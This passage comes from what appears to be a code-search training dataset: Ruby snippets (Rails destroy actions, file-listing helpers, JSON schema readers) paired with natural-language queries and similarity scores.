which author by the github issue id\n author_issue_id = @payload['issue']['id']\n\n #delete the author (& associated books based on dependency assigned in model)\n @author = Author.find_by issue_id: author_issue_id\n\n if @author.destroy\n return true\n else \n return false\n end\n end", "def destroy\n @takeout.destroy\n respond_to do |format|\n format.html { redirect_to takeouts_url }\n format.json { head :no_content }\n end\n end", "def unpublish\n if (@sa.ipv4)\n DNSUpdate.unpublish(@sa.target, Dnsruby::Types.A, @sa.ipv4)\n signal(:removed, Dnsruby::Types.A, @sa.ipv4)\n end\n if (@sa.ipv6)\n DNSUpdate.unpublish(@sa.target, Dnsruby::Types.AAAA, @sa.ipv6)\n signal(:removed, Dnsruby::Types.A, @sa.ipv6)\n end\n end", "def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end", "def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end", "def destroy\n authorize @article\n @article.destroy\n end", "def destroy\n @post.destroy\n\n respond_with @post\n end", "def destroy\n respond_with @post.destroy\n end", "def call\n transaction do\n discard_drafts\n end\n\n broadcast(:ok)\n end", "def teardown\n @aud = nil\n end", "def test_delete_success\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).with(35531).returns(\"127.0.0.1:8080\").once\n proxy.expects(:system_proxy_delete).with(35531).returns(['', '', 0]).once\n\n proxy.delete(uid, \"127.0.0.1\", 8080)\n end", "def destroy\n @publisher = Publisher.find(params[:id])\n @publisher.destroy\n\n respond_to do |format|\n format.js {render :nothing => true}\n format.html { redirect_to publishers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @view_publication.destroy\n respond_to do |format|\n format.html { redirect_to view_publications_url, notice: 'View publication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unsave\n post(\"/api/unsave\", id: fullname)\n end", "def destroy\n authorize @unscraped\n @unscraped.create_activity :destroy, owner: current_user\n @unscraped.destroy\n respond_to do |format|\n format.html { redirect_to unscrapeds_url, notice: 'Unscraped was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @accessor.destroy\n respond_to do |format|\n format.html { redirect_to accessors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization = @post.organization\n @post.destroy\n respond_to do |format|\n sync_destroy(@post)\n format.html { redirect_to @organization, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album_pub.destroy\n respond_to do |format|\n format.html { redirect_to album_pubs_url, notice: 'Album pub was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n destroyer = ensure_destroyer\n destroyer.destroy(@resource).success?\n end", "def teardown\r\n # Do nothing\r\n end", "def teardown\r\n # Do nothing\r\n end" ]
[ "0.7353392", "0.69257766", "0.6307171", "0.6158235", "0.60561085", "0.6035002", "0.59197724", "0.59108645", "0.5898508", "0.5866198", "0.58503836", "0.57605773", "0.57605773", "0.57282877", "0.56828463", "0.5632164", "0.5623674", "0.56220675", "0.5612857", "0.56006116", "0.5594874", "0.5594874", "0.5594874", "0.5562919", "0.5534596", "0.5524472", "0.5521013", "0.54940796", "0.54865324", "0.54741836", "0.5471228", "0.5433456", "0.5415305", "0.54141104", "0.53881", "0.5371738", "0.5365543", "0.53619325", "0.5355882", "0.53522795", "0.5341817", "0.53225935", "0.53225935", "0.53225935", "0.53153354", "0.529804", "0.52690053", "0.52619964", "0.5258994", "0.52576876", "0.52566355", "0.5244508", "0.52397317", "0.5231151", "0.52285993", "0.5222811", "0.5215362", "0.52127385", "0.5210426", "0.5209529", "0.5207425", "0.5200331", "0.5177074", "0.51431876", "0.5122008", "0.5118892", "0.51129204", "0.5111628", "0.50979966", "0.50961673", "0.50942993", "0.5093789", "0.50875497", "0.5081167", "0.50737745", "0.506904", "0.50513756", "0.50513756", "0.50488985", "0.5037738", "0.50363636", "0.50328964", "0.50268966", "0.50268966", "0.50197095", "0.50098133", "0.5009489", "0.50082046", "0.5002863", "0.49976075", "0.49927342", "0.498843", "0.49798107", "0.49713662", "0.4968673", "0.49671176", "0.49669048", "0.49664238", "0.49646026", "0.49646026" ]
0.60547495
5
Look for (created) files and return an array of them
def files_from_generator_output(output, type = 'create') output.to_a.map { |line| line.scan(/#{type}\s+([^\s]+)$/).flatten.first }.compact.select { |f| File.exist?(f) and !File.directory?(f) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_files()\n require 'find'\n directory = File.dirname(__FILE__) + '/../templates/' + @template\n @files = Array.new()\n Find.find(directory) do |f|\n if FileTest.file?f\n @files.push(f)\n end\n end\n @files\n end", "def new_files(recursive=false)\n newfiles = Array.new\n list(recursive).each do |file|\n newfiles << file if !stored?(file) \n end\n return newfiles\n end", "def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end", "def files\n @@files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n end", "def files() = files_path.glob('**/*')", "def files\n return get_result('files')\n end", "def existing_files; end", "def files\n @files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n # This returns:\n # [\"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Thundercat - For Love I Come - dance.mp3\"]\n end", "def files\n @files = []\n Find.find(@path) do |path|\n if File.directory? path\n if File.basename(path)[0] == ?.\n Find.prune # don't look any further into this directory.\n else\n next\n end\n else\n @files << path\n end\n end\n @files.size\n end", "def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end", "def files\n @files ||= []\n end", "def find_files\n @files = []\n\n Dir.foreach(configured_file_path) do |file_name|\n next if file_name == '.' || file_name == '..'\n next if file_name =~ /^\\./ && Ferver.configuration.serve_hidden == false\n\n found_file = FoundFile.new(configured_file_path, file_name)\n @files << found_file if found_file.valid?\n end\n end", "def files\n files = []\n Dir.new(self.path).each do |file|\n files << file if file.length > 4\n end\n files\n end", "def files\n files_in_path.map do |file|\n TemplateFile.from_full_path(@path, file) unless File.directory?(file)\n end.compact\n end", "def find_files( path )\n file_paths.each_with_object([]) do |search_path,obj|\n found = File.join( search_path, path )\n obj << found if File.exist? found\n end.reverse.uniq\n end", "def files\n @files_array ||= Dir.glob(\"#{@path}/*.mp3\").collect do |filename|\n filename.rpartition(\"/\").last \n end \n end", "def files\n entries.map(&:filepath)\n end", "def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end", "def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)", "def files\n @files ||= begin\n storage = model.storages.first\n return [] unless storage # model didn\"t store anything\n\n path = storage.send(:remote_path)\n unless path == File.expand_path(path)\n path.sub!(%r{(ssh|rsync)-daemon-module}, \"\")\n path = File.expand_path(File.join(\"tmp\", path))\n end\n Dir[File.join(path, \"#{model.trigger}.tar*\")].sort\n end\n end", "def files\n @exported_pr_dir ? Dir.glob(@exported_pr_dir) : []\n end", "def find_files\n result = {}\n targets = ['app'] # start simple\n targets.each do |target|\n order = []\n Find.find(target) do |f|\n next if test ?d, f\n next if f =~ /(swp|~|rej|orig)$/ # temporary/patch files\n next if f =~ /(\\.svn|\\.git)$/ # subversion/git\n next if f =~ /\\/\\.?#/ # Emacs autosave/cvs merge files\n filename = f.sub(/^\\.\\//, '')\n\n result[filename] = File.stat(filename).mtime rescue next\n end\n end\n \n self.files = result\n end", "def files\n info[\"Files\"].to_a\n end", "def files()\n\t\t\t\tlist = []\n\t\t\t\tdir = Dir.new( path() )\n\t\t\t\t\n\t\t\t\tdir.each do |f|\n\t\t\t\t\tnext if File.directory?( path() + \"/\" + f )\n\t\t\t\t\tnext unless ( f[/^([A-Z][A-Za-z]*)+\\.class\\.rb$/] == nil )\n\t\t\t\t\tlist << file( f )\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn list\n\t\t\tend", "def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend", "def existing\n select { |fn| File.exist?(fn) }.uniq\n end", "def existing_files\n metadata_files if @existing_files.nil?\n @existing_files\n end", "def files\n # fetch the appropriate files\n file_paths = Dir.glob(@path + \"/*.mp3\")\n file_paths.map { |file_path| @files << File.basename(file_path) }\n @files\n end", "def findAttachmentFiles()\n @attachments = Array.new\n pngFiles = Dir[\"*.png\"]\n\n pngFiles.each do |file|\n# if !file.match(/DistributionOfN.png/)\n @attachments << file\n# end\n end\n end", "def files\n filenames || []\n end", "def check_for_inexistent_files\n inexistent_files = []\n @files.each do |file|\n inexistent_files << file unless File.exists? file\n end\n\n inexistent_files\n end", "def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end", "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end", "def list_files\n @synth_files = CreatedFile.find_all_by_content_type(\"synthesis\",\n :include => :researcher, \n :order => \"created_at DESC, created_file DESC\")\n end", "def files\n # fetch the appropriate files\n filenames = Dir.glob(@path + \"/*.mp3\")\n filenames.map { |filename| @files << File.basename(filename) }\n @files\n end", "def files\n file_sets.map{|fs| fs.files }.flatten\n end", "def files\n %x{\n find . -type f ! -path \"./.git/*\" ! -path \"./node_modules/*\"\n }.\n split(\"\\n\").\n map { |p| Pathname.new(p) }\n end", "def find_files(path)\r\n Dir.entries(path).reject {|f| f =~ /^\\./} || Array.new\r\nend", "def files\n entries.map{ |f| FileObject[path, f] }\n end", "def files\n directory.files\n\n #@files ||= (\n # files = []\n # Dir.recurse(directory.to_s) do |path|\n # next if IGNORE_FILES.include?(File.basename(path))\n # files << path.sub(directory.to_s+'/','')\n # end\n # files.reject{ |f| File.match?(CONFIG_FILE) }\n #)\n end", "def find_files\n find_files_recursive(@build_result_dir, '')\n end", "def get_files\n\tnames = Array.new\n\n\tDir.glob(\"*.xls\").each do |f| \n\t\tnames << f\n\tend\n\n\treturn names\nend", "def gather_files files\n files = [\".\"] if files.empty?\n\n file_list = normalized_file_list files, true, @options.exclude\n\n file_list = remove_unparseable(file_list)\n\n if file_list.count {|name, mtime|\n file_list[name] = @last_modified[name] unless mtime\n mtime\n } > 0\n @last_modified.replace file_list\n file_list.keys.sort\n else\n []\n end\n end", "def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end", "def files\n @files.values\n end", "def files\n return @files if @files and not @files.empty?\n\n @files = []\n\n each_zip_entry do |entry|\n @files << entry.name\n end\n\n @files\n end", "def all_files\n Dir.glob(\"#{template_path}/**/*\", File::FNM_DOTMATCH).reject{|path| File.directory?(path) }.sort\n end", "def files()\n children.select { |c| c.file? }\n end", "def metadata_files\n return @metadata_files unless @metadata_files.nil?\n @metadata_files = MetadataFile.all\n @existing_files, @new_files = [], []\n @metadata_files.each do |f|\n if f.cached?\n @existing_files << f\n else\n @new_files << f\n end\n end\n end", "def files\n filename = Dir.entries(@path).find_all {|file| file.include?(\".mp3\")}\n # binding.pry\n # [[\"Thundercat - For Love I Come - dance.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\"]]\n\n #binding.pry\n end", "def get_files (path, files_found) \n\t\tif File.directory? path\n\t\t\tDir.foreach path do |file| \n\t\t\t\tif (!EXCLUDED_FILES.include? file)\n\t\t\t\t\tget_files(path+file, files_found) \n\t\t\t\tend\n\t\t\tend\n\t\telsif File.file? path\n\t\t\tfiles_found << path\n\t\tend\n\tend", "def dependent_files\n processed.map(&:abs_path).compact.select { |fn| File.exist?(fn) }\n end", "def manifested_files\n\n manifest_files.inject([]) do |acc, mf|\n\n files = open(mf) do |io|\n\n io.readlines.map do |line|\n digest, path = line.chomp.split /\\s+/, 2\n path\n end\n\n end\n\n (acc + files).uniq\n end\n\n end", "def tag_manifested_files\n tagmanifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n path\n end\n }\n (acc + files).uniq\n end\n end", "def all_matching_files\n @all_matching_files ||= find_files\n end", "def all_matching_files\n @all_matching_files ||= find_files\n end", "def files\n Dir.glob(bag_dir/\"**\"/\"*\")\n .map {|f| Pathname.new(f) }\n .reject(&:directory?)\n end", "def files\n @files ||= lambda {\n sorted_relevant_files = []\n\n file_globs.each do |glob|\n current_glob_files = Pathname.glob(glob)\n relevant_glob_files = relevant_files & current_glob_files\n\n relevant_glob_files.map! do |file|\n File.new(path: file,\n namespaces: namespaces,\n decryption_keys: decryption_keys,\n encryption_keys: encryption_keys,\n signature_name: signature_name)\n end\n\n sorted_relevant_files += relevant_glob_files\n end\n\n sorted_relevant_files.uniq\n }.call\n end", "def files\n return @files\n end", "def files\n templates.map(&:filename)\n end", "def manifested_files\n manifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n decode_filename(path)\n end\n }\n\n (acc + files).uniq\n end\n end", "def index (path = \".\")\n files = Array.new\n # search path and fill with files\n Dir.foreach(path) do |entry|\n if File.file?(path + \"/\" + entry)\n if entry.length > 5 && entry[-5..-1] == \".whip\"\n files.push(Whip::File.new(path + \"/\" + entry, path + \"/\" + entry[0...entry.rindex(\".\")] + \".html\"))\n end \n end\n end\n return files\n end", "def files\n cached = FileAttachment.list_cache\n files = cached.select{|f|f.post_id == id}\n end", "def files\n file_sets.map(&:original_file)\n end", "def find_files(path)\n entries = Dir[path + \"/*\"]\n puts entries.size\n entries.select! { |entry| File.file?(entry) }\n entries\n end", "def working_files\n files.map {|f| working_file f}\n end", "def added_files\n file_stats.count { |file| file.status == :added }\n end", "def file_list\n @file_list\n end", "def files(prefix = '')\n full_list = []\n\n directory.files.all(:prefix => prefix).each do |file|\n full_list.push(\n File.new(file.identity,\n :content_type => file.content_type,\n :stored_in => [self],\n :last_update_ts => file.last_modified\n )\n )\n end\n\n full_list\n end", "def filenames\n files.map(&:filename)\n end", "def filenames\n files.map(&:filename)\n end", "def filenames\n files.map(&:filename)\n end", "def get_files\n Dir.foreach(@path) do |file|\n if File.extname(file) == \".mp3\"\n thisfile = SongFile.new(\"#{@path}/#{File.path(file)}\")\n @files << thisfile\n end\n end\n end", "def document_entries\n entries.select{ |f| File.file?(File.join(path,f)) }\n end", "def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end", "def changed_files\n # FIXME: Implement properly once changed detection is available.\n files\n end", "def uploaded_files\n return [] if uploaded_file_ids.empty?\n @uploaded_files ||= UploadedFile.find(uploaded_file_ids)\n end", "def uploaded_files\n return [] if uploaded_file_ids.empty?\n @uploaded_files ||= UploadedFile.find(uploaded_file_ids)\n end", "def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end", "def files\n list = []\n if @data['info'].key?('files')\n @data['info']['files'].each do |file|\n list << { 'name' => file['path'], 'length' => file['length'] }\n end\n return list\n end\n\n if @data['info'].key?('name') && @data['info'].key?('length')\n list << { 'name' => @data['info']['name'], 'length' => @data['info']['length'] }\n end\n list\n end", "def all_files\n return manifest_entry.files\n end", "def files\n return [] unless meta?\n filename = meta['path'] + '/' + meta['filename']\n [\n Inch::Utils::CodeLocation.new('', filename, meta['lineno'])\n ]\n end", "def find_files dir = test_dir\n glob file_pattern(dir)\n end", "def find_files( dirs, lang, name, exts )\n results = []\n glob_files( dirs, lang, name, exts ) { |file,base,ext| results << file }\n results\n end", "def files\n\t\t@array_of_mp3s = Dir[\"#{@path}/*.mp3\"]\n\t\t@array_of_mp3s.map do |mp3|\n\t\t\tmp3.slice!(\"#{@path}/\")\n\t\t\tmp3\n\t\tend\n\tend", "def existing_files\n files = Set.new\n regex = keep_file_regex\n dirs = keep_dirs\n\n Utils.safe_glob(site.in_dest_dir, [\"**\", \"*\"], File::FNM_DOTMATCH).each do |file|\n next if HIDDEN_FILE_REGEX.match?(file) || regex.match?(file) || dirs.include?(file)\n\n files << file\n end\n\n files\n end", "def get_remote_files\n manager = @current_source.file_manager\n manager.start do \n @current_source.folders.each do |folder|\n @files[folder] = manager.find_files folder\n @files[folder] = @files[folder].take(@take) if @take\n Logger.<<(__FILE__,\"INFO\",\"Found #{@files[folder].size} files for #{@current_source.base_dir}/#{folder} at #{@current_source.host.address}\")\n SignalHandler.check\n end\n end\n end", "def log_files\n files = []\n Find.find(File.join(Dir.pwd, 'features', 'logs')) do |p|\n next if FileTest.directory? p\n files << p\n end\n files\nend", "def files( starts_with: )\n msg_handler.bold_debug [ msg_handler.here,\n msg_handler.called_from,\n \"starts_with=#{starts_with}\",\n \"\" ] if msg_handler.debug_verbose\n rv = Dir.glob( \"#{starts_with}*\", File::FNM_DOTMATCH )\n msg_handler.bold_debug [ msg_handler.here,\n msg_handler.called_from,\n \"files.size=#{rv.size}\",\n \"\" ] if msg_handler.debug_verbose\n return rv\n end", "def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend", "def get_document_assets( dirname )\n\n files = []\n f = File.join( dirname, TaskHelpers::DOCUMENT_FILES_LIST )\n begin\n File.open( f, 'r').each do |line|\n\n # handle blank and commented lines\n next if line.blank?\n next if line[ 0 ] == '#'\n tokens = line.strip.split( \"|\" )\n files << { :id => tokens[ 0 ], :timestamp => tokens[ 1 ], :title => tokens[ 2 ] }\n end\n rescue Errno::ENOENT\n # do nothing, no files...\n end\n\n return files\n end", "def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end", "def files\n Dir.open @path do |dir|\n @files = dir.entries.delete_if{|element|\n !element.include? \".mp3\"\n }\n end\n end", "def files\n @files ||= {}\n end", "def existing_files(my_files = true)\n # I can do this in a convoluted set of if checks, of a couple readable selects.\n output = target_files.select { |f| File.exist? f }\n output.delete_if { |f| my_files && is_my_file?(f)}\n\n return output\n end", "def files\n @files.map do |file|\n if File.directory?(file)\n Dir[File.join(file, '**', '*.rb')]\n else\n file\n end\n end.flatten\n end", "def files\n Dir.entries(\"#{path}\").select {|song_filename| song_filename.include?(\"mp3\")}\n end", "def related_files\n []\n end", "def file_list(nginx_log_path)\n list=[]\n list.push(nginx_log_path)\n file_1hour_ago=\"#{nginx_log_path}.#{(Time.now-3600).strftime(\"%Y%m%d%H\").to_s}\"\n list.push(file_1hour_ago) if File.exist?(file_1hour_ago)\n list\n end", "def files\n @files ||= FILE_RANGE.map(&:to_sym)\n end", "def file_list\n end" ]
[ "0.7534025", "0.7484491", "0.73708737", "0.7169759", "0.7063935", "0.7007023", "0.69530255", "0.6934759", "0.6908982", "0.6849017", "0.68456334", "0.67937595", "0.6765696", "0.6699068", "0.6687819", "0.6673477", "0.66475064", "0.663096", "0.66131145", "0.660652", "0.66002196", "0.6597605", "0.6596684", "0.6583048", "0.6576113", "0.65704405", "0.65613514", "0.65515774", "0.6551092", "0.6538983", "0.653353", "0.65172493", "0.6504827", "0.6503306", "0.6499334", "0.64909816", "0.6490667", "0.64859253", "0.6479513", "0.64768016", "0.6474672", "0.6470607", "0.6470523", "0.6452369", "0.6432238", "0.6429585", "0.6428912", "0.64269143", "0.64245313", "0.6421516", "0.6412749", "0.639606", "0.6393257", "0.63901633", "0.63901573", "0.63901573", "0.63887584", "0.63825804", "0.63750434", "0.6374095", "0.63736457", "0.636848", "0.63675237", "0.63516974", "0.63508695", "0.6345115", "0.6332172", "0.6319868", "0.6313877", "0.63093233", "0.63093233", "0.63093233", "0.6302733", "0.63005227", "0.6292109", "0.6287797", "0.62875706", "0.62875706", "0.6281887", "0.627665", "0.62695634", "0.6269004", "0.6267692", "0.62588406", "0.62586486", "0.6258197", "0.6256667", "0.6255703", "0.6251178", "0.62464786", "0.62401605", "0.62284726", "0.6228098", "0.62272274", "0.6225447", "0.6205691", "0.62056875", "0.62018657", "0.61968654", "0.61951643", "0.6190784" ]
0.0
-1
Read a schema and return it as hash. You can supply a path or the global path defined in SchemaTools.schema_path is used. Schemata are returned from cache(registry) if present to prevent filesystem roundtrips. The cache can be reset with registry_reset
def read(schema_name, path_or_schema=nil) schema_name = schema_name.to_sym return registry[schema_name] if registry[schema_name] if path_or_schema.is_a?(::Hash) schema = Schema.new(path_or_schema) elsif path_or_schema.is_a?(::String) || path_or_schema.nil? path = path_or_schema file_path = File.join(path || SchemaTools.schema_path, "#{schema_name}.json") unless File.exist?(file_path) # check if file exists else try to find first real path in sub-dirs recursive_search = Dir.glob( File.join(SchemaTools.schema_path, '**/*', "#{schema_name}.json"))[0] # use only if we found something, else keep path which will throw error on file.open later file_path = recursive_search || file_path end schema = Schema.new(file_path) else raise ArgumentError, 'Second parameter must be a path or a schema!' end # only import object definitions, shared property definitions are handled separate return unless schema[:type] == 'object' registry[ schema_name ] = schema return schema end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read(schema_name, path_or_schema=nil)\n schema_name = schema_name.to_sym\n return registry[schema_name] if registry[schema_name]\n\n if path_or_schema.is_a? ::Hash\n path = nil\n plain_data = path_or_schema.to_json\n elsif path_or_schema.is_a?(::String) || path_or_schema.nil?\n path = path_or_schema\n file_path = File.join(path || SchemaTools.schema_path, \"#{schema_name}.json\")\n else\n raise ArgumentError, \"Second parameter must be a path or a schema!\"\n end\n\n plain_data ||= File.open(file_path, 'r'){|f| f.read}\n\n schema = ActiveSupport::JSON.decode(plain_data).with_indifferent_access\n if schema[:extends]\n extends = schema[:extends].is_a?(Array) ? schema[:extends] : [ schema[:extends] ]\n extends.each do |ext_name|\n ext = read(ext_name, path)\n # current schema props win\n schema[:properties] = ext[:properties].merge(schema[:properties])\n end\n end\n registry[ schema_name ] = schema\n end", "def schema_contents\n File.read(schema_path)\n end", "def read(schema, version)\n schema = schema.to_sym\n return registry[version][schema] if registry[version] && registry[version][schema]\n # prefix version with v1.0 of v is not present\n v = (version =~ /^v/) ? version : \"v#{version}\"\n registry[v] = {} unless registry[v]\n # read schema from file\n file_path = File.join(File.dirname(__FILE__), '../json', v, \"#{schema}.json\")\n plain_data = File.open(file_path, 'r'){|f| f.read}\n # remember & return\n registry[v][schema] = ActiveSupport::JSON.decode(plain_data).with_indifferent_access\n end", "def schema_from_hash schema\n json = schema.to_json.to_java(:string) # !\n \n rs = (ObjectMapper.new()).readValue(json, ResourceSchema.java_class);\n Util.translateSchema(Schema.getPigSchema(rs))\n end", "def read_from_uri(uri)\n # Initial value\n schema = nil\n dup_uri = uri.dup # Duplicate the URI for processing\n dup_uri.fragment = nil # Remove fragment for reading from URI\n\n case uri.scheme\n # File (or) Generic implies a local file\n when \"file\", nil\n # Read local file using `File` module\n schema = File.read(uri.path)\n # HTTP/HTTPS implies a remote file\n when \"http\", \"https\"\n # Read remote file using Net::HTTP\n schema = Net::HTTP.get(dup_uri)\n # Unsupported URI scheme\n else\n raise ValidationError.new(message: \"Could not read content from URI: #{uri}\")\n end\n\n begin\n # Obtain schema in RUBY's Hash data structure by parsing file content\n schema = JSON.parse(schema)\n rescue JSON::ParserError, TypeError => e\n # Print error message for invalid JSON content\n raise ValidationError.new(message: \"Invalid JSON content!\\n#{e.full_message}\")\n end\n\n dup_uri.fragment = uri.fragment # Re-assign fragment\n # Check if fragment exists for that URI\n if dup_uri.fragment\n # If it is an empty fragment, i.e, `#` then return the original schema\n return schema if dup_uri.fragment.empty?\n\n dup_uri.fragment.slice!(0) if dup_uri.fragment.chr == \"/\" # Remove initial slash to avoid empty entries while splitting\n dig_arr = dup_uri.fragment.split(\"/\") # Split the fragment string on `/` e.g, #/definitions/member => [definitions, member]\n # Scan hash for the required key & if found return the corresponding schema document\n if (json_schema = __skip__ = schema.dig(*dig_arr))\n return json_schema\n # If key not found, raise an error\n else\n raise ValidationError.new(message: \"Could not find schema defined for: ##{uri.fragment}\")\n end\n end\n\n schema\n end", "def hash\n [schema, name].hash\n end", "def get_cr_json_schema(schema_file)\n crs = nil\n if File.exists?(schema_file)\n File.open(schema_file,\"r\") do |f|\n crs = JSON.parse(f.read)\n end\n end\n return crs\nend", "def load(schema)\n require schema\n end", "def lookup_schema(schema_key)\n lookup_time = Time.now.getutc\n if schema_key.is_a?(String)\n schema_key = SchemaKey.parse_key(schema_key)\n end\n failures = []\n\n cache_result = @cache[schema_key]\n if not cache_result.nil?\n if not @cacheTtl.nil?\n store_time = cache_result[1]\n time_diff = (lookup_time - store_time).round\n if time_diff >= @cacheTtl\n @cache.delete(schema_key)\n cache_result = nil\n else\n return cache_result[0]\n end\n else\n return cache_result[0]\n end\n end\n\n if cache_result.nil? # Fetch from every registry\n for registry in prioritize_repos(schema_key, @registries) do\n begin\n lookup_result = registry.lookup_schema(schema_key)\n rescue StandardError => e\n failures.push(Registries::LookupFailure.new(registry.config.name, e))\n else\n if lookup_result.nil?\n failures.push(Registries::NotFound.new(registry.config.name))\n else\n break\n end\n end\n end\n\n if lookup_result.nil?\n raise Registries::ResolverError.new(failures, schema_key)\n else\n store_time = Time.now.getutc\n @cache[schema_key] = [lookup_result, store_time]\n lookup_result\n end\n end\n end", "def read_all(path=nil)\n schemas = []\n file_paths = if path\n [File.join(path, '*.json')]\n else\n [ File.join( SchemaTools.schema_path, '*.json'),\n File.join( SchemaTools.schema_path, '**/*', '*.json')\n ]\n end\n\n Dir.glob( file_paths ).each do |file|\n schema_name = File.basename(file, '.json').to_sym\n schemas << read(schema_name, path)\n end\n schemas.compact!\n schemas\n end", "def schemas\n @schema ||= Dir['schemas/*'].reduce({}) do |schemas, file|\n filename = parse_filename(file)\n schemas[filename] = File.read(file).split(\"\\n\").map do |row|\n values = row.split(',')\n {\n name: values[0],\n length: values[1],\n type: values[2]\n }\n end\n\n schemas\n end\n end", "def get_schema\n @schema = self\n yield\n @schema unless @schema == self\n ensure\n @schema = nil\n end", "def get_document_schema\n filePath = Rails.root.join(\"lib\", \"base_truevault_doc.json\")\n file = File.read(filePath)\n schema = JSON.parse(file).with_indifferent_access\n end", "def read_all(path=nil)\n schemas = []\n file_path = File.join(path || SchemaTools.schema_path, '*.json')\n Dir.glob( file_path ).each do |file|\n schema_name = File.basename(file, '.json').to_sym\n schemas << read(schema_name, path)\n end\n schemas\n end", "def definition_schema\n begin\n # check for local copy first\n if File.exist?(self.definition_filepath)\n existing_schema = File.read(self.definition_filepath)\n JSON.parse(existing_schema)\n else\n Rails.logger.info \"#{Time.zone.now}: saving new local copy of #{self.definition_filepath}\"\n metadata_schema = RestClient.get self.definition_url\n # write a local copy\n unless Dir.exist?(self.definition_root)\n FileUtils.mkdir_p(self.definition_root)\n end\n new_schema = File.new(self.definition_filepath, 'w+')\n new_schema.write metadata_schema.body\n new_schema.close\n JSON.parse(metadata_schema.body)\n end\n rescue RestClient::ExceptionWithResponse => e\n ErrorTracker.report_exception(e, self.study.user, { request_url: self.definition_url, request_response: e.http_body})\n Rails.logger.error \"Error retrieving remote HCA Analysis metadata schema: #{e.message}\"\n {error: \"Error retrieving definition schema: #{e.message}\"}\n rescue JSON::ParserError => e\n ErrorTracker.report_exception(e, self.study.user, { metadata_body: metadata_schema.body})\n Rails.logger.error \"Error parsing HCA Analysis metadata schema: #{e.message}\"\n {error: \"Error parsing definition schema: #{e.message}\"}\n end\n end", "def schema_contents\n Committee.warn_deprecated(\"Committee: we'll remove schema_contents method in committee 3.0;\" \\\n \"please use committee_options.\")\n JSON.parse(File.read(schema_path))\n end", "def schema\n @schema ||= metadata.ancestors('Schema').first\n end", "def schema\n if @old_schema.nil?\n @old_schema = Schema.new(get(link('schema')))\n end\n return @old_schema \n end", "def schema\n @attributes[:schema] ||= Nokogiri::XML::RelaxNG(File.open(Style.schema))\n end", "def configuration_schema\n @configuration_schema ||= if configuration_path.exist?\n YAML.load_file(configuration_path).freeze or {}\n else\n {}.freeze\n end\n end", "def load_schema(file)\n end", "def schema\n hyper_schema_link.schema\n end", "def load_protocol_schema\n JSON.parse File.read(find_protocol_schema)\n end", "def schema(name)\n get(\"schemas/#{name}/\", \"schema\")\n end", "def schema\n @schema ||= []\n end", "def load_schema!(fullname, local_schemas_cache = {})\n schema_path = build_schema_path(fullname)\n schema_json = JSON.parse(File.read(schema_path))\n\n schema = Avro::Schema.real_parse(schema_json, local_schemas_cache)\n\n # Don't cache the parsed schema until after its fullname is validated\n if schema.respond_to?(:fullname) && schema.fullname != fullname\n raise AvroTurf::SchemaError, \"expected schema `#{schema_path}' to define type `#{fullname}'\"\n end\n\n # Cache only this new top-level schema by its 